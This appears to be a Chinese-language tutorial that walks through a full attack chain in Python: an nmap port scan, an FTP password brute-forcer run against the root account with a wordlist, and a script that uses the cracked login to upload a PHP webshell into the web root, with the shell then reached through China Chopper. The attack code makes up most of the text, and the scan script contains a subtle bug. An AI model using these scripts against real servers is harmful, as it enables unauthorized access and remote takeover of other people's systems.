python——利用nmap進行埠掃描,爆破ftp密碼,上傳wellshell.
一、埠掃描
首先安裝nmap與python-nmap模組。從http://nmap.org/download.html網站下載nmap安裝檔案。從http://xael.org/norman/python/python-nmap網站下載python-nmap模組安裝檔案。
1.程式碼。
#!/usr/bin/python # -*- coding: UTF-8 -*- import sys import os import nmap import socket nm = nmap.PortScanner() nm.scan = ('192.168.139.128', '1-1024') for host in nm.all_hosts(): print('-------------------------') print('host : {0} ({1})'.format(host, nm[host].hostname())) print('State : {0}'.format(nm[host].state())) for proto in nm[host].all_protocols(): print('--------------') print('Protocol : {0}'.format(proto)) lport = list(nm[host][proto].keys()) lport.sort() for port in lport: print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port])) print('----------------------------')
埠掃描原理是黑客pc向伺服器pc傳送多種協議的資料包,觀察伺服器pc的響應行為。若伺服器pc給黑客pc返回某類資料包則證明伺服器pc開放支援這種協議的埠!出了用python程式碼呼叫nmap掃描埠外,你可以直接在命令列使用nmap,這樣更方便快捷!
nmap命令及引數
nmap:
-sS 半開掃描TCP和SYN掃描 -sT 完全TCP連結掃描 -sU UDP掃描 -PS sym包探測(防火牆探測) -PA ack包探測 (防火牆探測) -PN 不ping -n 不dns解析 -A -O和-sV -O 作業系統識別 -sV 伺服器版本資訊(banner) -P 埠掃描 -T 設定時間級別(0-5) -iL 匯入掃描將結果 -oG 輸出掃描結果
2.測試。
使用Windows對Linux主機進行埠掃描。
檢視伺服器作業系統。
二、爆破ftp密碼。
通過埠掃描我們看出此伺服器開放21埠用來支援ftp協議(檔案傳輸協議),ftp服務後臺設定中通常不會檢查密碼輸錯次數,所以我們可以使用python提供的ftplib模組,爆破ftp密碼。假設使用者名稱已知,實際大多數使用者都會使用預設的root使用者名稱!
1.程式碼。
#!/usr/bin/python # -*- coding: UTF-8 -*- from ftplib import FTP word = open('C:\Users\lenovo\Desktop\w.txt','r') user_login = "root" def getPassword(password): try: ftp = FTP("192.168.204.129") ftp.login(user_login,password) print("user password:",password) return True except Exception: return False passwords = word.readlines() for password in passwords: password = password.strip() print("test password:",password) if(getPassword(password)): break word.close()
首先需要建立一個w.txt字典檔案,開啟w.txt檔案,宣告getPassword()函式,用於連線FTP伺服器,並嘗試登入,使用root使用者名稱和字典密碼登入。若正常登入,則執行下一條語句,否則觸發異常!再使用for迴圈遍歷字典,呼叫getPassword()函式,若正常登入則返回True,結束迴圈!
2.測試。
爆破Linux ftp服務密碼。
三、上傳webshell。
使用爆破出來的密碼登入ftp伺服器,上傳webshell。功能強大的webshell可以實現遠端控制主機。
1.程式碼。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP
apacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'
ftp = FTP(serverName,serverID,serverPW)
ftp.cwd("/var/www/html/")
fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)
fp.close()
ftp.quit()
首先登入ftp伺服器,再轉到web安裝目錄,然後開啟webshell檔案,最後使用ftp.storbinary(“STOR webshell.php”,fp)上傳webshell檔案到web安裝目錄!
2.測試。
執行程式碼上傳檔案
在伺服器端進入web安裝目錄,可以看到webshell檔案成功上傳,然後使用中國菜刀連線。